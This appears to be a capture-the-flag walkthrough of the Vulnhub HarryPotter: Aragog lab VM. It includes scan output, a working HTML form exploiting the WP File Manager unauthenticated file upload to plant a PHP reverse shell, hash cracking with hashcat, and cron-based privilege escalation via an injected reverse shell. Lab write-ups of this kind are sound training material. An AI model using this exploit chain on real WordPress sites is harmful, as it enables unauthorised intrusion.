HARRYPOTTER: ARAGOG | Vulnhub Walkthrough

5 min readMay 6, 2021

Let’s do another cool machine of Vulnhub from @Mansoor R

Aragog is the 1st VM of 3-box HarryPotter.

Goal : find 2 horcruxes hidden inside the machine

Lab Setup:-

Download this machine from the link and import it into the virtual box.

Let’s start with reconnaissance.

Here is the machine welcome message and the ip.

In my case IP is

Let’s start a quick scan.

└─# nmap
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-06 10:16 IST
Nmap scan report for
Host is up (0.00061s latency).
Not shown: 998 closed ports
22/tcp open ssh
80/tcp open http

MAC Address: 08:00:27:57:94:99 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds

In the simple scan got multiple open ports.

Here is the complete Nmap scan report

└─# nmap -sV -sC -A -vv -p- -oA
# Nmap 7.91 scan initiated Wed May 5 14:50:04 2021 as: nmap -sV -sC -A -vv -p- -oA
Nmap scan report for
Host is up, received arp-response (0.00073s latency).
Scanned at 2021-05-05 14:50:05 IST for 10s
Not shown: 65533 closed ports
Reason: 65533 resets
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 48:df:48:37:25:94:c4:74:6b:2c:62:73:bf:b4:9f:a9 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSJJ1ZAbIA3lP2RbpxnhknzLJqrHne4be3xTLmVEXWg7YQ6FFZ/RA1VzmrFYPlvB1t1XwopptI+nA9BSG5+hllLyCQ1pDZkhIwyGHuBLZETD8cIJTlsxVCwnh67h7eeK4hTEtjp1rUodK30juDf5u7JnkwVfo78LvM8WV1LjVrmhsZiqzy1CxAoMFpiRp3ZlvpblL3gdd0wgSNrGqEwc6qJc6Z+RKGkLbnpgTnOsc6vGLs1xFOGrHF2qFeDpUWti0ZDSN31LtP1HtNItbBKSECcFD3KrN8nPaZCa2V9GA1jrpOOAF1j0ehcRlBoFqLZzQbO9RFeIkgqGNrz3PDt7vp
| 256 1e:34:18:17:5e:17:95:8f:70:2f:80:a6:d5:b4:17:3e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBESZsj5u/F88CLIXTeBD8OgiCM2u8sKBgbvvjKccwFmCBMh3GmOHGP8qzzQwVTMkq1aN0WSIk7h8/cHCT2tZLzE=
| 256 3e:79:5f:55:55:3b:12:75:96:b4:3e:e3:83:7a:54:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMsH4OtBIy/He42Rc6KvtI6w2855JMLVloVFy5/0Rtj4
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:57:94:99 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
TCP/IP fingerprint:

In port 80 got Harry Potter image.

So i run the gobuster for directory scanning and got one blog directory

And in the /blog wordpress is running.

So i move towards to scan wordpress.

└─# wpscan --url --enumerate ap --plugins-detection aggressive --plugins-version-detection aggressive

After running wpscan got only 2 plugins in which one is default, So i move forward with the another plugin.

And i got this thing.

Plugin is vulnerable to File Manager 6.0–6.9 — Unauthenticated Arbitrary File Upload leading to RCE.



So i created a simple HTML page and upload a payload from that file.

<html><body><form method="POST" enctype="multipart/form-data" action=""><input type="hidden" name="cmd" value="upload"/><input type="hidden" name="target" value="l1_Lw"/><input type="file" name="upload[]"/><br/><br/><input type="submit" value="Upload"/></form></body>
File : /blog/wp-content/plugins/wp-file-manager/lib/php/../files/php-reverse-shell.php

Now after calling it via browser got a reverse shell

Now next part is to check the user.

I found 2 user entry in /etc/passwd


Becuase Wordpress is running so i move forward to find the database credentials.

After enumerating got wordpress credentials file.

define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'my******ss');
define('DB_HOST', 'localhost');
define('DB_COLLATE', 'utf8_general_ci');
define('WP_CONTENT_DIR', '/xxxxx/xxxxx/xxxx/xxxx');

In the databse got one hash


So i used hashcat to crack the hash

└─# hashcat -O -a 0 -m 400 hash /usr/share/wordlists/rockyou.txt -o result.txt

So i got the password of ha****98

Got the first bash64 encrypted flag.


Privilege escalation is little bit tricky.

After searching got nothing so i move towards to monitor the running cron jobs.

I used pspy to monitor running cron job.

After monitoring some commands got someting intrestings so i payed attention on it.

So i added a reverse shell command on it and start a listner on other side.

Once the file executed then will get shell.

Now i Got the Second bash64 encrypted flag.


Hurray !!!

All is fine but the Privilege escalation part is little bit challenging,

All you need to do is keep focusing on the running services and monitor each of them.